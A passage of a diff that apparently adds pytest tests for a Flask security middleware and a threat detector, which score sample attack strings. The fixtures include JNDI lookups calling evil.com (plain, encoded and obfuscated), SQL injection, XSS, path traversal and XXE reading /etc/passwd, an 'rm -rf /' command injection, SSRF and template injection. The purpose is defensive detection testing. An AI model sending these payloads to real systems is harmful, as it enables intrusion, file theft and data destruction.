resp = _client_get(app, "/api/side-effect?q=${${a}}", ip="9.9.9.9")
|
||||
assert resp.status_code == 200
|
||||
payload = resp.get_json()
|
||||
assert isinstance(payload, dict)
|
||||
assert payload.get("success") is True
|
||||
assert called["count"] == 0
|
||||
|
||||
|
||||
def test_middleware_fails_open_on_internal_errors(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/api/ok")
|
||||
def _ok():
|
||||
return jsonify({"ok": True, "risk_score": getattr(g, "risk_score", None)})
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
def boom(*_args, **_kwargs):
|
||||
raise RuntimeError("boom")
|
||||
|
||||
monkeypatch.setattr(sm.blacklist, "is_ip_banned", boom)
|
||||
monkeypatch.setattr(sm.detector, "scan_input", boom)
|
||||
|
||||
resp = _client_get(app, "/api/ok", ip="2.2.2.2")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json()["ok"] is True
|
||||
|
||||
|
||||
def test_middleware_sets_request_context_fields(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/api/context")
|
||||
def _context():
|
||||
strategy = getattr(g, "response_strategy", None)
|
||||
action = getattr(getattr(strategy, "action", None), "value", None)
|
||||
return jsonify({"risk_score": getattr(g, "risk_score", None), "action": action})
|
||||
|
||||
resp = _client_get(app, "/api/context", ip="8.8.8.8")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json() == {"risk_score": 0, "action": "allow"}
|
||||
96
tests/test_threat_detector.py
Normal file
96
tests/test_threat_detector.py
Normal file
@@ -0,0 +1,96 @@
|
||||
from flask import Flask, request
|
||||
|
||||
from security import constants as C
|
||||
from security.threat_detector import ThreatDetector
|
||||
|
||||
|
||||
def test_jndi_direct_scores_100():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("${jndi:ldap://evil.com/a}", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_jndi_encoded_scores_100():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fa%7D", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_jndi_obfuscated_scores_100():
|
||||
detector = ThreatDetector()
|
||||
payload = "${${::-j}${::-n}${::-d}${::-i}:rmi://evil.com/a}"
|
||||
results = detector.scan_input(payload, "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_nested_expression_scores_80():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("${${env:USER}}", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_NESTED_EXPRESSION and r.score == 80 for r in results)
|
||||
|
||||
|
||||
def test_sqli_union_select_scores_90():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("UNION SELECT password FROM users", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
||||
|
||||
|
||||
def test_sqli_or_1_eq_1_scores_90():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("a' OR 1=1 --", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
||||
|
||||
|
||||
def test_xss_scores_70():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("<script>alert(1)</script>", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_XSS and r.score == 70 for r in results)
|
||||
|
||||
|
||||
def test_path_traversal_scores_60():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("../../etc/passwd", "path")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_PATH_TRAVERSAL and r.score == 60 for r in results)
|
||||
|
||||
|
||||
def test_command_injection_scores_85():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("test; rm -rf /", "cmd")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
|
||||
|
||||
|
||||
def test_ssrf_scores_75():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("http://127.0.0.1/admin", "url")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SSRF and r.score == 75 for r in results)
|
||||
|
||||
|
||||
def test_xxe_scores_85():
|
||||
detector = ThreatDetector()
|
||||
payload = """<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>"""
|
||||
results = detector.scan_input(payload, "xml")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_XXE and r.score == 85 for r in results)
|
||||
|
||||
|
||||
def test_template_injection_scores_70():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("Hello {{ 7*7 }}", "tpl")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_TEMPLATE_INJECTION and r.score == 70 for r in results)
|
||||
|
||||
|
||||
def test_sensitive_path_probe_scores_40():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("/.git/config", "path")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SENSITIVE_PATH_PROBE and r.score == 40 for r in results)
|
||||
|
||||
|
||||
def test_scan_request_picks_up_args():
|
||||
app = Flask(__name__)
|
||||
detector = ThreatDetector()
|
||||
|
||||
with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
|
||||
results = detector.scan_request(request)
|
||||
assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
Reference in New Issue
Block a user